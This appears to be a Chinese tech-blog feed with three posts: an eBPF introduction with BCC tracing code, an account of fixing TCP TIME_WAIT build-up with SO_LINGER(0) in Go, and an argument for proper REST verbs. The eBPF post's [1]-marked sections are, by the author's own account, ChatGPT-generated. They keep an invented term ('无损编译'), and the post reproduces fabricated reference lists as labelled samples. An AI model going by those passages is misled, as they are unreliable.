普通视图

发现新文章,点击刷新页面。
昨天以前酷 壳 – CoolShell

eBPF 介绍

作者 陈皓
2022年12月10日 10:38

很早前就想写一篇关于eBPF的文章,但是迟迟没有动手,这两天有点时间,所以就来写一篇,这文章主要还是简单的介绍eBPF 是用来干什么的,并通过几个示例来介绍是怎么玩的,这个技术非常非常之强,Linux 操作系统的观测性实在是太强大了,并在 BCC 加持下变得一览无余。这个技术不是一般的运维人员或是系统管理员可以驾驭的,这个还是要有底层系统知识并有一定开发能力的技术人员才能驾驭的了的。我在这篇文章的最后给了个彩蛋。

介绍

eBPF(extened Berkeley Packet Filter)是一种内核技术,它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter(BPF),后者是由贝尔实验室开发的一种网络过滤器,可以捕获和过滤网络数据包。

出于对更好的 Linux 跟踪工具的需求,eBPF 从 dtrace中汲取灵感,dtrace 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同,Linux 无法全面了解正在运行的系统,因为它仅限于系统调用、库调用和函数的特定框架。在Berkeley Packet Filter  (BPF)(一种使用内核 VM 编写打包过滤代码的工具)的基础上,一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。2014 年随 Linux 3.18 首次限量发布,充分利用 eBPF 至少需要 Linux 4.4 以上版本

eBPF 比起传统的 BPF 来说,传统的 BPF 只能用于网络过滤,而 eBPF 则可以用于更多的应用场景,包括网络监控、安全过滤和性能分析等。另外,eBPF 允许常规用户空间应用程序将要在 Linux 内核中执行的逻辑打包为字节码,当某些事件(称为挂钩)发生时,内核会调用 eBPF 程序。此类挂钩的示例包括系统调用、网络事件等。用于编写和调试 eBPF 程序的最流行的工具链称为 BPF 编译器集合 (BCC),它基于 LLVM 和 CLang。

eBPF 有一些类似的工具。例如,SystemTap 是一种开源工具,可以帮助用户收集 Linux 内核的运行时数据。它通过动态加载内核模块来实现这一功能,类似于 eBPF。另外,DTrace 是一种动态跟踪和分析工具,可以用于收集系统的运行时数据,类似于 eBPF 和 SystemTap。[1]

以下是一个简单的比较表格,可以帮助您更好地了解 eBPF、SystemTap 和 DTrace 这三种工具的不同之处:[1]

工具 eBPF SystemTap DTrace
定位 内核技术,可用于多种应用场景 内核模块 动态跟踪和分析工具
工作原理 动态加载和执行无损编译过的代码 动态加载内核模块 动态插接分析器,通过 probe 获取数据并进行分析
常见用途 网络监控、安全过滤、性能分析等 系统性能分析、故障诊断等 系统性能分析、故障诊断等
优点 灵活、安全、可用于多种应用场景 功能强大、可视化界面 功能强大、高性能、支持多种编程语言
缺点 学习曲线高,安全性依赖于编译器的正确性 学习曲线高,安全性依赖于内核模块的正确性 配置复杂,对系统性能影响较大

对比表格[1]

从上表可以看出,eBPF、SystemTap 和 DTrace 都是非常强大的工具,可以用于收集和分析系统的运行情况。[1]

用途

eBPF 是一种非常灵活和强大的内核技术,可以用于多种应用场景。下面是 eBPF 的一些常见用途:[1]

  • 网络监控:eBPF 可以用于捕获网络数据包,并执行特定的逻辑来分析网络流量。例如,可以使用 eBPF 程序来监控网络流量,并在发现异常流量时进行警报。[1]
  • 安全过滤:eBPF 可以用于对网络数据包进行安全过滤。例如,可以使用 eBPF 程序来阻止恶意流量的传播,或者在发现恶意流量时对其进行拦截。[1]
  • 性能分析:eBPF 可以用于对内核的性能进行分析。例如,可以使用 eBPF 程序来收集内核的性能指标,并通过特定的接口将其可视化。这样,可以更好地了解内核的性能瓶颈,并进行优化。[1]
  • 虚拟化:eBPF 可以用于虚拟化技术。例如,可以使用 eBPF 程序来收集虚拟机的性能指标,并进行负载均衡。这样,可以更好地利用虚拟化环境的资源,提高系统的性能和稳定性。[1]

总之,eBPF 的常见用途非常广泛,可以用于网络监控、安全过滤、性能分析和虚拟化等多种应用场景。[1]

工作原理

eBPF 的工作原理主要分为三个步骤:加载、编译和执行。

eBPF 需要在内核中运行。这通常是由用户态的应用程序完成的,它会通过系统调用来加载 eBPF 程序。在加载过程中,内核会将 eBPF 程序的代码复制到内核空间。

eBPF 程序需要经过编译和执行。这通常是由Clang/LLVM的编译器完成,然后形成字节码后,将用户态的字节码装载进内核,Verifier会对要注入内核的程序进行一些内核安全机制的检查,这是为了确保 eBPF 程序不会破坏内核的稳定性和安全性。在检查过程中,内核会对 eBPF 程序的代码进行分析,以确保它不会进行恶意操作,如系统调用、内存访问等。如果 eBPF 程序通过了内核安全机制的检查,它就可以在内核中正常运行了,其会通过通过一个JIT编译步骤将程序的通用字节码转换为机器特定指令集,以优化程序的执行速度。

下图是其架构图。

(图片来自:https://www.infoq.com/articles/gentle-linux-ebpf-introduction/

在内核中运行时,eBPF 程序通常会挂载到一个内核钩子(hook)上,以便在特定的事件发生时被执行。例如,

  • 系统调用——当用户空间函数将执行转移到内核时插入
  • 函数进入和退出——拦截对预先存在的函数的调用
  • 网络事件 – 在收到数据包时执行
  • Kprobes 和 uprobes – 附加到内核或用户函数的探测器

最后 eBPF Maps,允许eBPF程序在调用之间保持状态,以便进行相关的数据统计,并与用户空间的应用程序共享数据。一个eBPF映射基本上是一个键值存储,其中的值通常被视为任意数据的二进制块。它们是通过带有BPF_MAP_CREATE参数的bpf_cmd系统调用来创建的,和Linux世界中的其他东西一样,它们是通过文件描述符来寻址。与地图的交互是通过查找/更新/删除系统调用进行的

总之,eBPF 的工作原理是通过动态加载、执行和检查无损编译过的代码来实现的。[1]

示例

eBPF 可以用于对内核的性能进行分析。下面是一个基于 eBPF 的性能分析的 step-by-step 示例:

第一步:准备工作:首先,需要确保内核已经支持 eBPF 功能。这通常需要在内核配置文件中启用 eBPF 相关的选项,并重新编译内核。检查是否支持 eBPF,你可以用这两个命令查看 ls /sys/fs/bpflsmod | grep bpf

第二步:写 eBPF 程序:接下来,需要编写 eBPF 程序,用于收集内核的性能指标。eBPF 程序的语言可以选择 C 或者 Python,它需要通过特定的接口访问内核的数据结构,并将收集到的数据保存到指定的位置。

下面是一个Python 示例(其实还是C语言,用python来加载一段C程序到Linux内核)

#!/usr/bin/python3

from bcc import BPF
from time import sleep

# 定义 eBPF 程序
bpf_text = """
#include <uapi/linux/ptrace.h>

BPF_HASH(stats, u32);

int count(struct pt_regs *ctx) {
    u32 key = 0;
    u64 *val, zero=0;
    val = stats.lookup_or_init(&key, &zero);
    (*val)++;
    return 0;
}
"""

# 编译 eBPF 程序
b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"])

# 加载 eBPF 程序
b.attach_kprobe(event="tcp_sendmsg", fn_name="count")

name = {
  0: "tcp_sendmsg"
}
# 输出统计结果
while True:
    try:
        #print("Total packets: %d" % b["stats"][0].value)
        for k, v in b["stats"].items():
           print("{}: {}".format(name[k.value], v.value))
        sleep(1)
    except KeyboardInterrupt:
        exit()

这个 eBPF 程序的功能是统计网络中传输的数据包数量。它通过定义一个 BPF_HASH 数据结构来保存统计结果(eBPF Maps),并通过捕获 tcp_sendmsg 事件来实现实时统计。最后,它通过每秒输出一次统计结果来展示数据。这个 eBPF 程序只是一个简单的示例,实际应用中可能需要进行更复杂的统计和分析。

第三步:运行 eBPF 程序:接下来,需要使用 eBPF 编译器将 eBPF 程序编译成内核可执行的格式(这个在上面的Python程序里你可以看到——Python引入了一个bcc的包,然后用这个包,把那段 C语言的程序编译成字节码加载在内核中并把某个函数 attach 到某个事件上)。这个过程可以使用 BPF Compiler Collection(BCC)工具来完成。BCC 工具可以通过命令行的方式将 eBPF 程序编译成内核可执行的格式,并将其加载到内核中。

下面是运行上面的 Python3 程序的步骤:

sudo apt install python3-bpfcc

注:在Python3下请不要使用 pip3 install bcc (参看:这里

如果你是 Ubuntu 20.10 以上的版本,最好通过源码安装(否则程序会有编译问题),参看:这里

apt purge bpfcc-tools libbpfcc python3-bpfcc
wget https://github.com/iovisor/bcc/releases/download/v0.25.0/bcc-src-with-submodule.tar.gz
tar xf bcc-src-with-submodule.tar.gz
cd bcc/
apt install -y python-is-python3
apt install -y bison build-essential cmake flex git libedit-dev   libllvm11 llvm-11-dev libclang-11-dev zlib1g-dev libelf-dev libfl-dev python3-distutils
apt install -y checkinstall
mkdir build
cd build/
cmake -DCMAKE_INSTALL_PREFIX=/usr -DPYTHON_CMD=python3 ..
make
checkinstall

接下来,需要将上面的 Python 程序保存到本地,例如保存到文件 netstat.py。运行程序:最后,可以通过执行以下命令来运行 Python 程序:

$ chmod +x ./netstat.py
$ sudo ./netstat.py
tcp_sendmsg: 29
tcp_sendmsg: 216
tcp_sendmsg: 277
tcp_sendmsg: 379
tcp_sendmsg: 419
tcp_sendmsg: 468
tcp_sendmsg: 574
tcp_sendmsg: 645
tcp_sendmsg: 29

程序开始运行后,会在控制台输出网络数据包的统计信息。可以通过按 Ctrl+C 组合键来结束程序的运行。

下面我们再看一个比较复杂的示例,这个示例会计算TCP的发包时间(示例参考于Github上 这个issue里的程序):

#!/usr/bin/python3

from bcc import BPF
import time

# 定义 eBPF 程序
bpf_text = """
#include <uapi/linux/ptrace.h>
#include <net/sock.h>
#include <net/inet_sock.h>
#include <bcc/proto.h>

struct packet_t {
    u64 ts, size;
    u32 pid;
    u32 saddr, daddr;
    u16 sport, dport;
};

BPF_HASH(packets, u64, struct packet_t);

int on_send(struct pt_regs *ctx, struct sock *sk, struct msghdr *msg, size_t size)
{
    u64 id = bpf_get_current_pid_tgid();
    u32 pid = id;

    // 记录数据包的时间戳和信息
    struct packet_t pkt = {}; // 结构体一定要初始化,可以使用下面的方法
                              //__builtin_memset(&pkt, 0, sizeof(pkt)); 
    pkt.ts = bpf_ktime_get_ns();
    pkt.size = size;
    pkt.pid = pid;
    pkt.saddr = sk->__sk_common.skc_rcv_saddr;
    pkt.daddr = sk->__sk_common.skc_daddr;
    struct inet_sock *sockp = (struct inet_sock *)sk;
    pkt.sport = sockp->inet_sport;
    pkt.dport = sk->__sk_common.skc_dport;

    packets.update(&id, &pkt);
    return 0;
}

int on_recv(struct pt_regs *ctx, struct sock *sk)
{
    u64 id = bpf_get_current_pid_tgid();
    u32 pid = id;

    // 获取数据包的时间戳和编号
    struct packet_t *pkt = packets.lookup(&id);
    if (!pkt) {
        return 0;
    }

    // 计算传输时间
    u64 delta = bpf_ktime_get_ns() - pkt->ts;

    // 统计结果
    bpf_trace_printk("tcp_time: %llu.%llums, size: %llu\\n", 
       delta/1000, delta%1000%100, pkt->size);

    // 删除统计结果
    packets.delete(&id);

    return 0;
}
"""

# 编译 eBPF 程序
b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"])

# 注册 eBPF 程序
b.attach_kprobe(event="tcp_sendmsg", fn_name="on_send")
b.attach_kprobe(event="tcp_v4_do_rcv", fn_name="on_recv")

# 输出统计信息
print("Tracing TCP latency... Hit Ctrl-C to end.")
while True:
    try:
        (task, pid, cpu, flags, ts, msg) = b.trace_fields()
        print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg))
    except KeyboardInterrupt:
        exit()

上面这个程序通过捕获每个数据包的时间戳来统计传输时间。在捕获 tcp_sendmsg 事件时,记录数据包的发送时间;在捕获 tcp_v4_do_rcv 事件时,记录数据包的接收时间;最后,通过比较两个时间戳来计算传输时间。

从上面的两个程序我们可以看到,eBPF 的一个编程的基本方法,这样的在Python里向内核的某些事件挂载一段 “C语言” 的方式就是 eBPF 的编程方式。实话实说,这样的代码很不好写,而且有很多非常诡异的东西,一般人是很难驾驭的(上面的代码我也不是很容易都能写通的,把 Google 都用了个底儿掉,读了很多晦涩的文档……)好在这样的代码已经有人写了,我们不必再写了,在 Github 上的 bcc 库下的 tools 目录有很多……

BCC(BPF Compiler Collection)是一套开源的工具集,可以在 Linux 系统中使用 BPF(Berkeley Packet Filter)程序进行系统级性能分析和监测。BCC 包含了许多实用工具,如:

  1. bcc-tools:一个包含许多常用的 BCC 工具的软件包。
  2. bpftrace:一个高级语言,用于编写和执行 BPF 程序。
  3. tcptop:一个实时监控和分析 TCP 流量的工具。
  4. execsnoop:一个用于监控进程执行情况的工具。
  5. filetop:一个实时监控和分析文件系统流量的工具。
  6. trace:一个用于跟踪和分析函数调用的工具。
  7. funccount:一个用于统计函数调用次数的工具。
  8. opensnoop:一个用于监控文件打开操作的工具。
  9. pidstat:一个用于监控进程性能的工具。
  10. profile:一个用于分析系统 CPU 使用情况的工具。

下面这张图你可能见过多次了,你可以看看他可以干多少事,内核里发生什么事一览无余。

延伸阅读

一些经典的文章和书籍关于 eBPF 包括:

彩蛋

最后来到彩蛋环节。因为最近 ChatGPT 很火,于是,我想通过 ChatGPT 来帮助我书写这篇文章,一开始我让ChatGPT 帮我列提纲,并根据提纲生成文章内容,并查找相关的资料,非常之顺利,包括生成的代码,我以为我们以很快地完成这篇文章。

但是,到了代码生成的时候,我发现,ChatGPT 生成的代码的思路和方法都是对的,但是是比较老的,而且是跑不起来的,出现了好些低级错误,如:使用了未声明的变量,没有引用完整的C语言的头文件,没有正确地初始化变量,错误地获取数据,类型没有匹配……等等,在程序调试上,挖了很多的坑,C语言本来就不好搞,挖的很多运行时的坑很难察觉,所以,耗费了我大量的时间来排除各种各样的问题,其中有环境上的问题,还有代码上的问题,这些问题即便是通过 Google 也不容易找到解决方案,我找到的解决方案都放在文章中了,尤其是第二个示例,让我调试了3个多小时,读了很多 bcc 上的issue和相关的晦涩的手册和文档,才让程序跑通。

到了文章收关的阶段,我让ChatGPT 给我几个延伸阅读,也是很好的,但是没有给出链接,于是我只得人肉 Google 了一下,然后让我吃惊的是,好多ChatGPT给出来的文章是根本不存在的,完全是它伪造的。我连让它干了两次都是这样,这个让我惊掉大牙。这让我开始怀疑它之前生成的内容,于是,我不得我返回仔细Review我的文章,尤其是“介绍”、“用途”和“工作原理”这三个章节,基本都是ChatGPT生成的,在Review完后,我发现了ChatGPT 给我生造了一个叫 “无损编译器”的术语,这个术语简直了,于是我开始重写我的文章。我把一些段落重写了,有一些没有,保留下来的我都标记上了 [1],大家读的时候要小心阅读。

最后,我的结论是,ChatGPT只是一个不成熟的玩具,只能回答一些没有价值的日常聊天的问题,要说能取代Google,我觉得不可能,因为Google会基于基本的事实,而ChatGPT会基于内容生成的算法,在造假方面称得上是高手,可以列为电信诈骗的范畴了,我以后不会再使用ChatGPT生成文章内容或是作我的帮手了。StackOverflow把其ban了真是不能太赞了!

附件一:ChatGPT的造假载图和样本

点击看大图

点击看大图

ChatGPT 生成的样本一

  • Brendan Gregg 的《BPF Performance Tools: Linux System and Application Observability》一书是一个全面的指南,涵盖了 eBPF 的基础知识和实践应用。
  • Alexei Starovoitov 在 2015 年的 LPC 大会上发表的《eBPF and XDP: fast programmable datapath in the Linux kernel》一文,是一个介绍 eBPF 和 XDP(eXpress Data Path)的综述。
  • 谷歌的《BPF: The Future of Linux Monitoring and Observability》一文介绍了 eBPF 的基本概念,并探讨了它对于 Linux 监控和可观察性的影响。
  • 微软的《A Survey of Techniques for Hardware Acceleration of BPF》一文,介绍了 eBPF 在硬件加速方面的研究现状。
  • Daniel Borkmann 的《Linux kernel networking: implementation and theory》一书涵盖了 eBPF 的实现和理论。
  • Martin KaFai Lau 在 2015 年的 SOSP 大会上发表的《eBPF: a new execution environment for the Linux kernel》一文,介绍了 eBPF 在 Linux 内核中的新执行环境。
  • 来自两名谷歌工程师的《eBPF: A New Frontier in Performance Analysis》一文,探讨了 eBPF 对性能分析的影响。
  • 《BPF Performance Tools: Linux System and Application Observability》一书中的第三章,讨论了 eBPF 的编译器和运行时系统。
  • 来自三名谷歌工程师的《eBPF: The New Solaris DTrace》一文,比较了 eBPF 和 Solaris DTrace 系统的区别。

ChatGPT 生成的样本二

  1. eBPF 程序开发指南(https://cilium.io/doc/ebpf/ebpf-guide/
  2. eBPF 官方文档(https://www.kernel.org/doc/Documentation/networking/filter.txt
  3. Linux 内核 eBPF 介绍(https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html
  4. eBPF 性能优化技巧(https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/
  5. eBPF 实战经验分享(https://blog.cloudflare.com/ebpf-in-practice/
  6. eBPF 在网络安全中的应用(https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/
  7. eBPF 实现 Linux 系统性能监控(https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/
  8. eBPF 入门教程(https://sysdig.com/blog/ebpf-getting-started/
  9. eBPF 与 BPF 比较(https://lwn.net/Articles/724647/
  10. eBPF 提高课程(https://www.pluralsight.com/courses/ebpf-advanced

附件二:发明的术语:无损编译器

点击看大图

点击看大图

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post eBPF 介绍 first appeared on 酷 壳 - CoolShell.

从一次经历谈 TIME_WAIT 的那些事

作者 陈皓
2022年7月19日 14:43

今天来讲一讲TCP 的 TIME_WAIT 的问题。这个问题尽人皆知,不过,这次遇到的是不太一样的场景,前两天也解决了,正好写篇文章,顺便把 TIME_WAIT 的那些事都说一说。对了,这个场景,跟我开源的探活小工具 EaseProbe 有关,我先说说这个场景里的问题,然后,顺着这个场景跟大家好好说一下这个事。

问题背景

先说一下背景,EaseProbe 是一个轻量独立的用来探活服务健康状况的小工具,支持http/tcp/shell/ssh/tls/host以及各种中间件的探活,然后,直接发送通知到主流的IM上,如:Slack/Telegram/Discrod/Email/Team,包括国内的企业微信/钉钉/飞书, 非常好用,用过的人都说好 😏

这个探活工具在每次探活的时候,必须要从头开始建立整个网络链接,也就是说,需要从头开始进行DNS查询,建立TCP链接,然后进行通信,再关闭链接。这里,我们不会设置 TCP 的 KeepAlive 重用链接,因为探活工具除了要探活所远端的服务,还要探活整个网络的情况,所以,每次探活都需要从新来过,这样才能捕捉得到整个链路的情况。

但是,这样不断的新建链接和关闭链接,根据TCP的状态机,我们知道这会导致在探测端这边出现的 TIME_WAIT 的 TCP 链接,根据 TCP 协议的定义,这个 TIME_WAIT 需要等待 2倍的MSL 时间,TCP 链接都会被系统回收,在回收之前,这个链接会占用系统的资源,主要是两个资源,一个是文件描述符,这个还好,可以调整,另一个则是端口号,这个是没法调整的,因为作为发起请求的client来说,在对同一个IP上理论上你只有64K的端口号号可用(实际上系统默认只有近30K,从32,768 到 60,999 一共 60999+1-32768=28,232,你可以通过 sysctl net.ipv4.ip_local_port_range 查看  ),如果 TIME_WAIT 过多,会导致TCP无法建立链接,还会因为资源消耗太多导致整个程序甚至整个系统异常。

试想,如果我们以 10秒为周期探测10K的结点,如果TIME_WAIT的超时时间是120秒,那么在第60秒后,等着超时的 TIME_WAIT 我们就有可能把某个IP的端口基本用完了,就算还行,系统也有些问题。(注意:我们不仅仅只是TCP,还有HTTP协议,所以,大家不要觉得TCP的四元组只要目标地址不一样就好了,一方面,我们探的是域名,需要访问DNS服务,所以,DNS服务一般是一台服务器,还有,因为HTTPS一般是探API,而且会有网关代理API,所以链接会到同一个网关上。另外就算还可以建出站连接,但是本地程序会因为端口耗尽无法bind了。所以,现实情况并不会像理论情况那样只要四元组不冲突,端口就不会耗尽)

为什么要 TIME_WAIT

那么,为什么TCP在 TIME_WAIT 上要等待一个2MSL的时间?

以前写过篇比较宏观的《TCP的那些事》(上篇下篇),这个访问在“上篇”里讲过,这里再说一次,TCP 断链接的时候,会有下面这个来来回回的过程。

我们来看主动断链接的最后一个状态 TIME_WAIT 后就不需要等待对端回 ack了,而是进入了超时状态。这主要是因为,在网络上,如果要知道我们发出的数据被对方收到了,那我们就需要对方发来一个确认的Ack信息,那问题来了,对方怎么知道自己发出去的ack,被收到了?难道还要再ack一下,这样ack来ack回的,那什么谁也不要玩了……是的,这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商,A向B派出信鸽,我们明早8点进攻,A怎么知道B收到了信?那需要B向A派出信鸽,ack说我收到了,明早8点开干。但是,B怎么知道A会收到自己的确认信?是不是还要A再确认一下?这样无穷无尽的确认导致这个问题是没有完美解的(我们在《分布式事务》一文中说过这个问题,这里不再重述)

所以,我们只能等一个我们认为最大小时来解决两件个问题:

1) 为了 防止来自一个连接的延迟段被依赖于相同四元组(源地址、源端口、目标地址、目标端口)的稍后连接接受(被接受后,就会被马上断掉,TCP状态机紊乱)。虽然,可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些,对于一个吞吐量大的的应用来说,依然能够出现问题,尤其是在具有大接收窗口的快速连接上。RFC 1337详细解释了当 TIME-WAIT状态不足时会发生什么。TIME-WAIT以下是如果不缩短状态可以避免的示例:

由于缩短的 TIME-WAIT 状态,后续的 TCP 段已在不相关的连接中被接受(来源

 

2)另一个目的是确保远端已经关闭了连接。当最后一个ACK​​ 丢失时,对端保持该LAST-ACK状态。在没有TIME-WAIT状态的情况下,可以重新打开连接,而远程端仍然认为先前的连接有效。当它收到一个SYN段(并且序列号匹配)时,它将以RST应答,因为它不期望这样的段。新连接将因错误而中止:

 

如果远端因为最后一个 ACK​​ 丢失而停留在 LAST-ACK 状态,则打开具有相同四元组的新连接将不起作用 (来源

TIME_WAIT 的这个超时时间的值如下所示:

  • 在 macOS 上是15秒, sysctl net.inet.tcp | grep net.inet.tcp.msl
  • 在 Linux 上是 60秒 cat /proc/sys/net/ipv4/tcp_fin_timeout

解决方案

要解决这个问题,网上一般会有下面这些解法

  • 把这个超时间调小一些,这样就可以把TCP 的端口号回收的快一些。但是也不能太小,如果流量很大的话,TIME_WAIT一样会被耗尽。
  • 设置上 tcp_tw_reuse 。RFC 1323提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外,它定义了一个新的 TCP 选项,带有两个四字节时间戳字段。第一个是发送选项的 TCP 时间戳的当前值,而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 TIME_WAIT 连接用于出站的链接。也就是说,这个参数对于入站连接是没有任何用图的。
  • 设置上 tcp_tw_recycle 。 这个参数同样依赖于时间戳选项,但会影响进站和出站链接。这个参数会影响NAT环境,也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下,时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接,因为它们不共享相同的时间戳时钟。毫无疑问,禁用此选项要好得多,因为它会导致 难以检测诊断问题。(注:从 Linux 4.10 (commit 95a22caee396 ) 开始,Linux 将为每个连接随机化时间戳偏移量,从而使该选项完全失效,无论有无NAT。它已从 Linux 4.12中完全删除)

对于服务器来说,上述的三个访问都不能解决服务器的 TIME_WAIT 过多的问题,真正解决问题的就是——不作死就不会死,也就是说,服务器不要主动断链接,而设置上KeepAlive后,让客户端主动断链接,这样服务端只会有CLOSE_WAIT

但是对于用于建立出站连接的探活的 EaseProbe来说,设置上 tcp_tw_reuse 就可以重用 TIME_WAIT 了,但是这依然无法解决 TIME_WAIT 过多的问题。

然后,过了几天后,我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数,叫 <code>SO_LINGER,我的编程生涯中从来没有使用过这个设置,这个参数主要是为了延尽关闭来用的,也就是说你应用调用 close()函数时,如果还有数据没有发送完成,则需要等一个延时时间来让数据发完,但是,如果你把延时设置为 0  时,Socket就丢弃数据,并向对方发送一个 RST 来终止连接,因为走的是 RST 包,所以就不会有 TIME_WAIT 了。

这个东西在服务器端永远不要设置,不然,你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”,但是这个参数对于 EaseProbe 的客户来说,简直是太完美了,当EaseProbe 探测完后,直接 reset connection, 即不会有功能上的问题,也不会影响服务器,更不会有烦人的 TIME_WAIT 问题。

Go 实际操作

在 Golang的标准库代码里,net.TCPConn 有个方法 SetLinger()可以完成这个事,使用起来也比较简单:

conn, _ := net.DialTimeout("tcp", t.Host, t.Timeout())

if tcpCon, ok := conn.(*net.TCPConn); ok {
    tcpCon.SetLinger(0)
}

你需要把一个 net.Conn  转型成 net.TCPConn,然后就可以调用方法了。

但是对于Golang 的标准库中的 HTTP 对象来说,就有点麻烦了,Golang的 http 库把底层的这边连接对象全都包装成私有变量了,你在外面根本获取不到。这篇《How to Set Go net/http Socket Options – setsockopt() example 》中给出了下面的方法:

dialer := &net.Dialer{
    Control: func(network, address string, conn syscall.RawConn) error {
        var operr error
        if err := conn.Control(func(fd uintptr) {
            operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1)
        }); err != nil {
            return err
        }
        return operr
    },
}

client := &http.Client{
    Transport: &http.Transport{
        DialContext: dialer.DialContext,
    },
}

上面这个方法非常的低层,需要直接使用setsocketopt这样的系统调用,我其实,还是想使用 TCPConn.SetLinger(0) 来完成这个事,即然都被封装好了,最好还是别破坏封闭性碰底层的东西。

经过Golang http包的源码阅读和摸索,我使用了下面的方法:

client := &http.Client{
    Timeout: h.Timeout(),
    Transport: &http.Transport{
      TLSClientConfig:   tls,
      DisableKeepAlives: true,
      DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
        d := net.Dialer{Timeout: h.Timeout()}
        conn, err := d.DialContext(ctx, network, addr)
        if err != nil {
          return nil, err
        }
        tcpConn, ok := conn.(*net.TCPConn)
        if ok {
          tcpConn.SetLinger(0)
          return tcpConn, nil
        }
        return conn, nil
      },
    },
  }

然后,我找来了全球 T0p 100W的域名,然后在AWS上开了一台服务器,用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活,搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑,最后的测试结果也非常不错,根本 没有 TIME_WAIT 的链接,相关的测试方法、测试数据和测试报告可以参看:Benchmark Report

总结

下面是几点总结

  • TIME_WAIT 是一个TCP 协议完整性的手段,虽然会有一定的副作用,但是这个设计是非常关键的,最好不要妥协掉。
  • 永远不要使用  tcp_tw_recycle ,这个参数是个巨龙,破坏力极大。
  • 服务器端永远不要使用  SO_LINGER(0),而且使用 tcp_tw_reuse 对服务端意义不大,因为它只对出站流量有用。
  • 在服务端上最好不要主动断链接,设置好KeepAlive,重用链接,让客户端主动断链接。
  • 在客户端上可以使用 tcp_tw_reuse  和 SO_LINGER(0)

最后强烈推荐阅读这篇文章 – Coping with the TCP TIME-WAIT state on busy Linux servers

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 从一次经历谈 TIME_WAIT 的那些事 first appeared on 酷 壳 - CoolShell.

“一把梭:REST API 全用 POST”

作者 陈皓
2022年2月13日 12:28

写这篇文章的原因主要还是因为V2EX上的这个贴子,这个贴子中说——

“对接同事的接口,他定义的所有接口都是 post 请求,理由是 https 用 post 更安全,之前习惯使用 restful api ,如果说 https 只有 post 请求是安全的话?那为啥还需要 get 、put 、delete ?我该如何反驳他。”

然后该贴中大量的回复大概有这么几种论调,1)POST挺好的,就应该这么干,沟通少,2)一把梭,早点干完早点回家,3)吵赢了又怎么样?工作而已,优雅不能当饭吃。虽然评论没有一边倒,但是也有大量的人支持。然后,我在Twitter上嘲讽了一下,用POST干一切就像看到了来你家装修工人说,“老子干活就是用钉子钉一切,什么螺丝、螺栓、卡扣、插销……通通不用,钉枪一把梭,方便,快捷,安全,干完早回家……不过,还是有一些网友觉得用POST挺好的,而且可以节约时间。所以,正好,我在《我做系统架构的原则》中的“原则五”中反对API返回码无论对错全是200的返回那,我专门写下这一篇文章,以正视听。

这篇文章主要分成下面这几个部分:

  1. 为什么要用不同的HTTP动词?
  2. Restful 进行复杂查询
  3. 几个主要问题的回应
    • POST 更安全吗?
    • 全用 POST 可以节省时间沟通少吗?
    • 早点回家的正确姿势
    • 工作而已,优雅不能当饭吃

为什么要用不同的HTTP动词

编程世界通常来说有两种逻辑:“业务逻辑” 和 “控制逻辑”。

  • 业务逻辑。就是你实现业务需求的功能的代码,就是跟用户需求强相关的代码。比如,把用户提交的数据保存起来,查询用户的数据,完成一个订单交易,为用户退款……等等,这些是业务逻辑
  • 控制逻辑。就是我们用于控制程序运行的非功能性的代码。比如,用于控制程序循环的变量和条件,使用多线程或分布式的技术,使用HTTP/TCP协议,使用什么样数据库,什么样的中间件……等等,这些跟用户需求完全没关系的东西。

网络协议也是一样的,一般来说,几乎所有的主流网络协议都有两个部分,一个是协议头,一个是协议体。协议头中是协议自己要用的数据,协议体才是用户的数据。所以,协议头主要是用于协议的控制逻辑,而协议体则是业务逻辑。

HTTP的动词(或是Method)是在协议头中,所以,其主要用于控制逻辑。

下面是HTTP的动词规范,一般来说,REST API 需要开发人员严格遵循下面的标准规范(参看RFC7231 章节4.2.2 – Idempotent Methods

方法 描述 幂等
GET 用于查询操作,对应于数据库的 select 操作 ✔
PUT 用于所有的信息更新,对应于数据库的 update 操作 ✔︎︎
DELETE 用于更新操作,对应于数据库的 delete 操作 ✔︎︎
POST 用于新增操作,对应于数据库的 insert 操作
HEAD 用于返回一个资源对象的“元数据”,或是用于探测API是否健康 ✔
PATCH 用于局部信息的更新,对应于数据库的 update 操作
OPTIONS 获取API的相关的信息。 ✔

其中,PUT 和 PACTH 都是更新业务资源信息,如果资源对象不存在则可以新建一个,但他们两者的区别是,PUT 用于更新一个业务对象的所有完整信息,就像是我们通过表单提交所有的数据,而 PACTH 则对更为API化的数据更新操作,只需要更需要更新的字段(参看 RFC 5789 )。

当然,现实世界中,可能并不一定严格地按照数据库操作的CRUD来理解API,比如,你有一个登录的API /login 你觉得这个API应该是 GETPOSTPUT 还是 PATCH ?登录的时候用户需要输入用户名和密码,然后跟数据库里的对比(select操作)后反回一个登录的session token,然后这个token作为用户登录的状态令牌。如果按上面表格来说,应该是 select 操作进行 GET ,但是从语义上来说,登录并不是查询信息,应该是用户状态的更新或是新增操作(新增session),所以还是应该使用 POST,而 /logout 你可以使用 DELETE这里相说明一下,不要机械地通过数据库的CRUD来对应这些动词,很多时候,还是要分析一下业务语义。

